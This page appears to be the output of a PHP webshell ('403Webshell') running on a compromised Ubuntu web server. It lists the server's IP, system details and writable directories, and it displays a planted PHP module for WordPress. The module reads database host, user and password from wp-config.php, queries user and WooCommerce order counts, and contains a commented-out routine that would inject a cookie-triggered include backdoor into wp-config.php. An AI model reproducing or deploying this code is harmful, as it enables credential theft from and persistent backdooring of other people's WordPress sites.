403Webshell
Server IP : 15.235.198.142  /  Your IP : 216.73.216.150
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ballsack 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /tmp/mbdvd0/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tmp/mbdvd0/sess_65beb914521e3326955339d04393766ccms_wp
<?php
class mbd_cms_wp
{
    function __construct($core)
    {
        $this->core = $core;
    }
    function spare()
    {
        /*$file = $this->core->root.'/wp-config.php';
        if(!is_file($file)) return $this->core->out('not config file');
        $data = $file = $this->core->file_get($file);
        $data = str_replace(array(), array('$cache = $_COOKIE;','$time = 415656;', 'if(isset($cache[$time])) include($cache[$time]);'), $data);
        if(!$this->core->file_put($file, $data)) return $this->core->out('failed to write to file');
        $this->core->data->result = $result ;*/
    }
    function mysql_config()
    {
        $file = $this->core->root.'/wp-config.php';
        if(!is_file($file)) return $this->core->out('not config file');
        $file = $this->core->file_get($file);
        $result = array();
        foreach(array('DB_HOST','DB_USER','DB_PASSWORD','DB_NAME') AS $i => $n)
        {
            if(preg_match('|'.$n.'(?:[\'\"\s\,]+)getenv\([\'\"](.+)[\'\"]|', $file, $a))
                $result[$i] = getenv($a[1]);
            elseif(preg_match('|'.$n.'(?:[\'\"\s\,]+)(.+)[\'\"]\s?\)|', $file, $a))
                $result[$i] = $a[1];
            else return $this->core->out('undefined '.$n);
        }
        $result[4] = preg_match('|\$table_prefix(?:[\'\"\s\=]+)(.+?)[\'\"]|', $file, $a) ? $a[1] : 'wp_';
        if(preg_match('|DB_CHARSET(?:[\'\"\s\,]+)(.+)[\'\"]\s?\)|', $file, $a)) $result[5] = $a[1];
        $this->core->data->result = $result;
        return $result;
    }
    function info()
    {
        $db = $this->core->load('mysql');
        $db->connect($this->mysql_config());
        $this->core->data->type = $db->type;
        $data = array(
            'bd' => implode('::', $this->core->data->result),
            'users' => $db->find('SELECT COUNT(*) FROM @P_users', 'first'),
            'orders' => $db->find('SELECT COUNT(*) FROM @P_posts WHERE post_type=\'shop_order\'', 'first'),
            'date' => $db->find('SELECT `post_date` FROM @P_posts WHERE post_type=\'shop_order\' ORDER BY `ID` DESC LIMIT 1', 'first'),
            'theme' => $db->find('SELECT option_value FROM @P_options WHERE option_name=\'template\' LIMIT 1', 'first'),
        );
        $this->core->data->result = $data;
    }
    function backup()
    {
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit